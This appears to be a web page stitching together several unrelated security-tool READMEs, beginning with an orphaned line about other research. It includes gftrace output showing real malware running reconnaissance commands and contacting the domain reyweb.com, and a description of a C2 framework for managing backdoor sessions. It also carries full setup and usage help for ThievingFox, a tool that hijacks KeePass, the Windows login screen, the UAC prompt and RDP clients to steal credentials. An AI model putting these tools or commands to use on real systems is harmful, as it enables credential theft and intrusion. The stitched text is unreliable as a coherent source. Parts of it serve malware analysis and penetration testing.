A copy of Leviathan’s research, along with code intended to allow others to duplicate their findings in a lab environment, is available here.
A command line Windows API tracing tool for Golang binaries.
Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome!
Although Golang programs contains a lot of nuances regarding the way they are built and their behavior in runtime they still need to interact with the OS layer and that means at some point they do need to call functions from the Windows API.
The Go runtime package contains a function called asmstdcall and this function is a kind of "gateway" used to interact with the Windows API. Since it's expected this function to call the Windows API functions we can assume it needs to have access to information such as the address of the function and it's parameters, and this is where things start to get more interesting.
Asmstdcall receives a single parameter which is pointer to something similar to the following structure:
struct LIBCALL {
DWORD_PTR Addr;
DWORD Argc;
DWORD_PTR Argv;
DWORD_PTR ReturnValue;
[...]
}
Some of these fields are filled after the API function is called, like the return value, others are received by asmstdcall, like the function address, the number of arguments and the list of arguments. Regardless when those are set it's clear that the asmstdcall function manipulates a lot of interesting information regarding the execution of programs compiled in Golang.
The gftrace leverages asmstdcall and the way it works to monitor specific fields of the mentioned struct and log it to the user. The tool is capable of log the function name, it's parameters and also the return value of each Windows function called by a Golang application. All of it with no need to hook a single API function or have a signature for it.
The tool also tries to ignore all the noise from the Go runtime initialization and only log functions called after it (i.e. functions from the main package).
If you want to know more about this project and research check the blogpost.
Download the latest release.
gftrace.exe <filepath> <params>
All you need to do is specify which functions you want to trace in the gftrace.cfg file, separating it by comma with no spaces:
CreateFileW,ReadFile,CreateProcessW
The exact Windows API functions a Golang method X of a package Y would call in a specific scenario can only be determined either by analysis of the method itself or trying to guess it. There's some interesting characteristics that can be used to determine it, for example, Golang applications seems to always prefer to call functions from the "Wide" and "Ex" set (e.g. CreateFileW, CreateProcessW, GetComputerNameExW, etc) so you can consider it during your analysis.
The default config file contains multiple functions in which I tested already (at least most part of them) and can say for sure they can be called by a Golang application at some point. I'll try to update it eventually.
Tracing CreateFileW() and ReadFile() in a simple Golang file that calls "os.ReadFile" twice:
- CreateFileW("C:\Users\user\Desktop\doc.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108000, 0x200, 0xc000075d64, 0x0) = 0x1 (1)
- CreateFileW("C:\Users\user\Desktop\doc2.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108200, 0x200, 0xc000075d64, 0x0) = 0x1 (1)
Tracing CreateProcessW() in the TunnelFish malware:
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000ace98, 0xc0000acd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ec8, 0xc0000c4d98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddres s | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc00005eec8, 0xc00005ed98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bce98, 0xc0000bcd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ef0, 0xc0000c4dc0) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000acec0, 0xc0000acd90) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bcec0, 0xc0000bcd90) = 0x1 (1)
[...]
Tracing multiple functions in the Sunshuttle malware:
- CreateFileW("config.dat.tmp", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0xffffffffffffffff (-1)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x2, 0x80, 0x0) = 0x198 (408)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x3, 0x80, 0x0) = 0x1a4 (420)
- WriteFile(0x1a4, 0xc000112780, 0xeb, 0xc0000c79d4, 0x0) = 0x1 (1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x1f0 (496)
- WSASend(0x1f0, 0xc00004f038, 0x1, 0xc00004f020, 0x0, 0xc00004eff0, 0x0) = 0x0 (0)
- WSARecv(0x1f0, 0xc00004ef60, 0x1, 0xc00004ef48, 0xc00004efd0, 0xc00004ef18, 0x0) = 0xffffffff (-1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x200 (512)
- WSASend(0x200, 0xc00004f2b8, 0x1, 0xc00004f2a0, 0x0, 0xc00004f270, 0x0) = 0x0 (0)
- WSARecv(0x200, 0xc00004f1e0, 0x1, 0xc00004f1c8, 0xc00004f250, 0xc00004f198, 0x0) = 0xffffffff (-1)
[...]
Tracing multiple functions in the DeimosC2 framework agent:
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x130 (304)
- setsockopt(0x130, 0xffff, 0x20, 0xc0000b7838, 0x4) = 0xffffffff (-1)
- socket(0x2, 0x1, 0x6) = 0x138 (312)
- WSAIoctl(0x138, 0xc8000006, 0xaf0870, 0x10, 0xb38730, 0x8, 0xc0000b746c, 0x0, 0x0) = 0x0 (0)
- GetModuleFileNameW(0x0, "C:\Users\user\Desktop\samples\deimos.exe", 0x400) = 0x2f (47)
- GetUserProfileDirectoryW(0x140, "C:\Users\user", 0xc0000b7a08) = 0x1 (1)
- LookupAccountSidw(0x0, 0xc00000e250, "user", 0xc0000b796c, "DESKTOP-TEST", 0xc0000b7970, 0xc0000b79f0) = 0x1 (1)
- NetUserGetInfo("DESKTOP-TEST", "user", 0xa, 0xc0000b7930) = 0x0 (0)
- GetComputerNameExW(0x5, "DESKTOP-TEST", 0xc0000b7b78) = 0x1 (1)
- GetAdaptersAddresses(0x0, 0x10, 0x0, 0xc000120000, 0xc0000b79d0) = 0x0 (0)
- CreateToolhelp32Snapshot(0x2, 0x0) = 0x1b8 (440)
- GetCurrentProcessId() = 0x2584 (9604)
- GetCurrentDirectoryW(0x12c, "C:\Users\user\AppData\Local\Programs\retoolkit\bin") = 0x39 (57 )
[...]
The gftrace is published under the GPL v3 License. Please refer to the file named LICENSE for more information.
The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.
C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.
Reverse shells support:
C2 Cloud walkthrough: https://youtu.be/hrHT_RDcGj8
Ransomware simulation using C2 Cloud: https://youtu.be/LKaCDmLAyvM
Telegram C2: https://youtu.be/WLQtF4hbCKk
🔒 Anywhere Access: Reach the C2 Cloud from any location.
🔄 Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly.
🖱️ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click.
📜 Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.
🛠️ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests.
🔗 TCP Socket: Serving reverse TCP requests for enhanced functionality.
🌐 Nginx: Effortlessly routing traffic between web and backend systems.
📨 Redis PubSub: Serving as a robust message broker for seamless communication.
🚀 Websockets: Delivering real-time updates to browser clients for enhanced user experience.
💾 Postgres DB: Ensuring persistent storage for seamless continuity.
Reverse TCP port: 8888
Clone the repo
Inspired by Villain, a CLI-based C2 developed by Panagiotis Chartas.
Distributed under the MIT License. See LICENSE for more information.
Automate the process of analyzing web server logs with the Python Web Log Analyzer. This powerful tool is designed to enhance security by identifying and detecting various types of cyber attacks within your server logs. Stay ahead of potential threats with features that include:
Attack Detection: Identify and flag potential Cross-Site Scripting (XSS), Local File Inclusion (LFI), Remote File Inclusion (RFI), and other common web application attacks.
Rate Limit Monitoring: Detect suspicious patterns in multiple requests made in a short time frame, helping to identify brute-force attacks or automated scanning tools.
Automated Scanner Detection: Keep your web applications secure by identifying requests associated with known automated scanning tools or vulnerability scanners.
User-Agent Analysis: Analyze and identify potentially malicious User-Agent strings, allowing you to spot unusual or suspicious behavior.
This project is actively developed, and future features may include:
The tool only requires Python 3 at the moment.
After cloning the repository to your local machine, you can initiate the application by executing the command python3 WLA-cli.py. simple usage example : python3 WLA-cli.py -l LogSampls/access.log -t
use -h or --help for more detailed usage examples : python3 WLA-cli.py -h
linkdin:(https://www.linkedin.com/in/oudjani-seyyid-taqy-eddine-b964a5228)
ThievingFox is a collection of post-exploitation tools to gather credentials from various password managers and windows utilities. Each module leverages a specific method of injecting into the target process, and then hooks internals functions to gather crendentials.
The accompanying blog post can be found here
Rustup must be installed, follow the instructions available here : https://rustup.rs/
The mingw-w64 package must be installed. On Debian, this can be done using :
apt install mingw-w64
Both x86 and x86_64 windows targets must be installed for Rust:
rustup target add x86_64-pc-windows-gnu
rustup target add i686-pc-windows-gnu
Mono and Nuget must also be installed, instructions are available here : https://www.mono-project.com/download/stable/#download-lin
After adding Mono repositories, Nuget can be installed using apt :
apt install nuget
Finally, python dependancies must be installed :
pip install -r client/requirements.txt
ThievingFox works with python >= 3.11.
Rustup must be installed, follow the instructions available here : https://rustup.rs/
Both x86 and x86_64 windows targets must be installed for Rust:
rustup target add x86_64-pc-windows-msvc
rustup target add i686-pc-windows-msvc
.NET development environment must also be installed. From Visual Studio, navigate to Tools > Get Tools And Features > Install ".NET desktop development"
Finally, python dependancies must be installed :
pip install -r client/requirements.txt
ThievingFox works with python >= 3.11
NOTE : On a Windows host, in order to use the KeePass module, msbuild must be available in the PATH. This can be achieved by running the client from within a Visual Studio Developper Powershell (Tools > Command Line > Developper Powershell)
All modules have been tested on the following Windows versions :
| Windows Version |
|---|
| Windows Server 2022 |
| Windows Server 2019 |
| Windows Server 2016 |
| Windows Server 2012R2 |
| Windows 10 |
| Windows 11 |
[!CAUTION] Modules have not been tested on other version, and are expected to not work.
| Application | Injection Method |
|---|---|
| KeePass.exe | AppDomainManager Injection |
| KeePassXC.exe | DLL Proxying |
| LogonUI.exe (Windows Login Screen) | COM Hijacking |
| consent.exe (Windows UAC Popup) | COM Hijacking |
| mstsc.exe (Windows default RDP client) | COM Hijacking |
| RDCMan.exe (Sysinternals' RDP client) | COM Hijacking |
| MobaXTerm.exe (3rd party RDP client) | COM Hijacking |
[!CAUTION] Although I tried to ensure that these tools do not impact the stability of the targeted applications, inline hooking and library injection are unsafe and this might result in a crash, or the application being unstable. If that were the case, using the
cleanupmodule on the target should be enough to ensure that the next time the application is launched, no injection/hooking is performed.
ThievingFox contains 3 main modules : poison, cleanup and collect.
For each application specified in the command line parameters, the poison module retrieves the original library that is going to be hijacked (for COM hijacking and DLL proxying), compiles a library that has matches the properties of the original DLL, uploads it to the server, and modify the registry if needed to perform COM hijacking.
To speed up the process of compilation of all libraries, a cache is maintained in client/cache/.
--mstsc, --rdcman, and --mobaxterm have a specific option, respectively --mstsc-poison-hkcr, --rdcman-poison-hkcr, and --mobaxterm-poison-hkcr. If one of these options is specified, the COM hijacking will replace the registry key in the HKCR hive, meaning all users will be impacted. By default, only all currently logged in users are impacted (all users that have a HKCU hive).
--keepass and --keepassxc have specific options, --keepass-path, --keepass-share, and --keepassxc-path, --keepassxc-share, to specify where these applications are installed, if it's not the default installation path. This is not required for other applications, since COM hijacking is used.
The KeePass modules requires the Visual C++ Redistributable to be installed on the target.
Multiple applications can be specified at once, or, the --all flag can be used to target all applications.
[!IMPORTANT] Remember to clean the cache if you ever change the
--tempdirparameter, since the directory name is embedded inside native DLLs.
$ python3 client/ThievingFox.py poison -h
usage: ThievingFox.py poison [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepass-path KEEPASS_PATH]
[--keepass-share KEEPASS_SHARE] [--keepassxc] [--keepassxc-path KEEPASSXC_PATH] [--keepassxc-share KEEPASSXC_SHARE] [--mstsc] [--mstsc-poison-hkcr]
[--consent] [--logonui] [--rdcman] [--rdcman-poison-hkcr] [--mobaxterm] [--mobaxterm-poison-hkcr] [--all]
target
positional arguments:
target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options:
-h, --help show this help message and exit
-hashes HASHES, --hashes HASHES
LM:NT hash
-aesKey AESKEY, --aesKey AESKEY
AES key to use for Kerberos Authentication
-k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
-dc-ip DC_IP, --dc-ip DC_IP
IP Address of the domain controller
-no-pass, --no-pass Do not prompt for password
--tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
--keepass Try to poison KeePass.exe
--keepass-path KEEPASS_PATH
The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/)
--keepass-share KEEPASS_SHARE
The share on which KeePass is installed (Default: c$)
--keepassxc Try to poison KeePassXC.exe
--keepassxc-path KEEPASSXC_PATH
The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/)
--ke epassxc-share KEEPASSXC_SHARE
The share on which KeePassXC is installed (Default: c$)
--mstsc Try to poison mstsc.exe
--mstsc-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for mstsc, which will also work for user that are currently not
logged in (Default: False)
--consent Try to poison Consent.exe
--logonui Try to poison LogonUI.exe
--rdcman Try to poison RDCMan.exe
--rdcman-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for RDCMan, which will also work for user that are currently not
logged in (Default: False)
--mobaxterm Try to poison MobaXTerm.exe
--mobaxterm-poison-hkcr
Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for MobaXTerm, which will also work for user that are currently not
logged in (Default: False)
--all Try to poison all applications
For each application specified in the command line parameters, the cleanup first removes poisonning artifacts that force the target application to load the hooking library. Then, it tries to delete the library that were uploaded to the remote host.
For applications that support poisonning of both HKCU and HKCR hives, both are cleaned up regardless.
Multiple applications can be specified at once, or, the --all flag can be used to cleanup all applications.
It does not clean extracted credentials on the remote host.
[!IMPORTANT] If the targeted application is in use while the
cleanupmodule is ran, the DLL that are dropped on the target cannot be deleted. Nonetheless, thecleanupmodule will revert the configuration that enables the injection, which should ensure that the next time the application is launched, no injection is performed. Files that cannot be deleted byThievingFoxare logged.
$ python3 client/ThievingFox.py cleanup -h
usage: ThievingFox.py cleanup [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepass-share KEEPASS_SHARE]
[--keepass-path KEEPASS_PATH] [--keepassxc] [--keepassxc-path KEEPASSXC_PATH] [--keepassxc-share KEEPASSXC_SHARE] [--mstsc] [--consent] [--logonui]
[--rdcman] [--mobaxterm] [--all]
target
positional arguments:
target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options:
-h, --help show this help message and exit
-hashes HASHES, --hashes HASHES
LM:NT hash
-aesKey AESKEY, --aesKey AESKEY
AES key to use for Kerberos Authentication
-k Use kerberos authentication. For LogonUI, mstsc and cons ent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
-dc-ip DC_IP, --dc-ip DC_IP
IP Address of the domain controller
-no-pass, --no-pass Do not prompt for password
--tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
--keepass Try to cleanup all poisonning artifacts related to KeePass.exe
--keepass-share KEEPASS_SHARE
The share on which KeePass is installed (Default: c$)
--keepass-path KEEPASS_PATH
The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/)
--keepassxc Try to cleanup all poisonning artifacts related to KeePassXC.exe
--keepassxc-path KEEPASSXC_PATH
The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/)
--keepassxc-share KEEPASSXC_SHARE
The share on which KeePassXC is installed (Default: c$)
--mstsc Try to cleanup all poisonning artifacts related to mstsc.exe
--consent Try to cleanup all poisonning artifacts related to Consent.exe
--logonui Try to cleanup all poisonning artifacts related to LogonUI.exe
--rdcman Try to cleanup all poisonning artifacts related to RDCMan.exe
--mobaxterm Try to cleanup all poisonning artifacts related to MobaXTerm.exe
--all Try to cleanup all poisonning artifacts related to all applications
For each application specified on the command line parameters, the collect module retrieves output files on the remote host stored inside C:\Windows\Temp\<tempdir> corresponding to the application, and decrypts them. The files are deleted from the remote host, and retrieved data is stored in client/ouput/.
Multiple applications can be specified at once, or, the --all flag can be used to collect logs from all applications.
$ python3 client/ThievingFox.py collect -h
usage: ThievingFox.py collect [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepassxc] [--mstsc] [--consent]
[--logonui] [--rdcman] [--mobaxterm] [--all]
target
positional arguments:
target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options:
-h, --help show this help message and exit
-hashes HASHES, --hashes HASHES
LM:NT hash
-aesKey AESKEY, --aesKey AESKEY
AES key to use for Kerberos Authentication
-k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
-dc-ip DC_IP, --dc-ip DC_IP
IP Address of th e domain controller
-no-pass, --no-pass Do not prompt for password
--tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
--keepass Collect KeePass.exe logs
--keepassxc Collect KeePassXC.exe logs
--mstsc Collect mstsc.exe logs
--consent Collect Consent.exe logs
--logonui Collect LogonUI.exe logs
--rdcman Collect RDCMan.exe logs
--mobaxterm Collect MobaXTerm.exe logs
--all Collect logs from all applications
bash git clone https://github.com/your_username/status-checker.git cd status-checker
bash pip install -r requirements.txt
python status_checker.py [-h] [-d DOMAIN] [-l LIST] [-o OUTPUT] [-v] [-update]
-d, --domain: Single domain/URL to check.-l, --list: File containing a list of domains/URLs to check.-o, --output: File to save the output.-v, --version: Display version information.-update: Update the tool.Example:
python status_checker.py -l urls.txt -o results.txt
This project is licensed under the MIT License - see the LICENSE file for details.
